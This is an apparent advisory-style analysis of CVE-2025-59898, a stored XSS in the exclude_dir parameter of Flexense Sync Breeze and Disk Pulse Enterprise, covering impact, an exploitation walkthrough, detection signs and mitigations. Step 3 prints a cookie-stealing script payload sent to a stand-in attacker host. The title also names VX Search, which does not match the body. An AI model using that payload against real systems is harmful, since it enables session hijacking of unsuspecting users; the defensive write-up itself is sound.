CVE-2025-59898: 
VX Search vulnerability analysis and mitigation

CVE-2025-59898 is a persistent (stored) authenticated Cross-Site Scripting (XSS) vulnerability affecting Sync Breeze Enterprise Server v10.4.18 and Disk Pulse Enterprise v10.4.18, both developed by Flexense. The flaw arises from insufficient input validation of the exclude_dir parameter in the /add_exclude_dir?sid= endpoint, allowing an authenticated attacker to inject malicious scripts that persist and execute in the context of other authenticated users' sessions. It was published on January 28, 2026, and assigned by INCIBE. The vulnerability carries a CVSS v3.1 base score of 5.4 (Medium) and a CVSS v4.0 base score of 5.1 (Medium) (INCIBE Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The root cause is the failure to sanitize or encode user-supplied input in the exclude_dir parameter submitted via HTTP POST to the /add_exclude_dir?sid= endpoint. Because the injected payload is stored server-side and later rendered to other authenticated users without proper output encoding, it qualifies as a stored (persistent) XSS. Exploitation requires the attacker to be authenticated (low privileges) and a victim user to interact with the affected page (passive user interaction), with no special attack complexity or additional preconditions (INCIBE Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser context of other authenticated users, enabling session token theft, credential harvesting, and unauthorized actions performed on behalf of the victim. The scope is changed (cross-origin impact), with low confidentiality and low integrity impact — primarily risking session hijacking and data exposure within the application. Availability is not directly impacted, but compromised sessions could be leveraged for further lateral movement within the enterprise environment (INCIBE Advisory).

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been identified at this time. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.047%, indicating a very low probability of exploitation in the near term. Exploitation requires an authenticated attacker account, which limits the attack surface compared to unauthenticated vulnerabilities (INCIBE Advisory).

1. Authenticate: Obtain valid credentials for the Sync Breeze Enterprise Server or Disk Pulse Enterprise web interface (v10.4.18).
2. Identify the vulnerable endpoint: Navigate to the directory exclusion configuration feature, which submits data to /add_exclude_dir?sid=<session_id>.
3. Inject malicious payload: Submit a crafted HTTP POST request with a JavaScript payload in the exclude_dir parameter, e.g., exclude_dir=<script>document.location='http://attacker.com/steal?c='+document.cookie</script>.
4. Payload persistence: The malicious script is stored server-side and associated with the exclusion directory configuration.
5. Victim triggers execution: When another authenticated user (e.g., an administrator) views the affected configuration page, the stored script executes in their browser context.
6. Session theft: The attacker receives the victim's session cookie or other sensitive data at the attacker-controlled server, enabling session hijacking (INCIBE Advisory).

• Network: Outbound HTTP requests from victim browsers to unexpected external domains immediately after loading the Flexense web management interface; unusual GET requests to attacker-controlled URLs containing encoded cookie or session data.
• Logs: Web server access logs showing POST requests to /add_exclude_dir?sid= with URL-encoded HTML/JavaScript tags (e.g., %3Cscript%3E, %3C/script%3E) in the exclude_dir parameter.
• Application: Unexpected or suspicious directory exclusion entries in the Sync Breeze or Disk Pulse configuration containing script tags or JavaScript event handlers (e.g., <script>, onerror=, onload=).
• Browser: Unexpected redirects or network requests originating from the Flexense management console pages in browser developer tools.

Users should contact Flexense to obtain a patched version of Sync Breeze Enterprise Server and Disk Pulse Enterprise that addresses this XSS vulnerability, as no specific fixed version number has been publicly confirmed beyond the affected v10.4.18. As an interim workaround, restrict access to the Flexense web management interface to trusted internal networks or VPN only, and limit the number of accounts with write access to directory exclusion configurations. Implement a Web Application Firewall (WAF) rule to detect and block requests containing script tags or JavaScript event handlers in the exclude_dir parameter (INCIBE Advisory).

The vulnerability was reported and coordinated by INCIBE-CERT (Spain's national cybersecurity incident response team), which published a multi-vulnerability advisory covering Flexense products. No notable independent researcher commentary, vendor statements beyond the INCIBE advisory, or significant social media discussion has been identified for this CVE (INCIBE Advisory).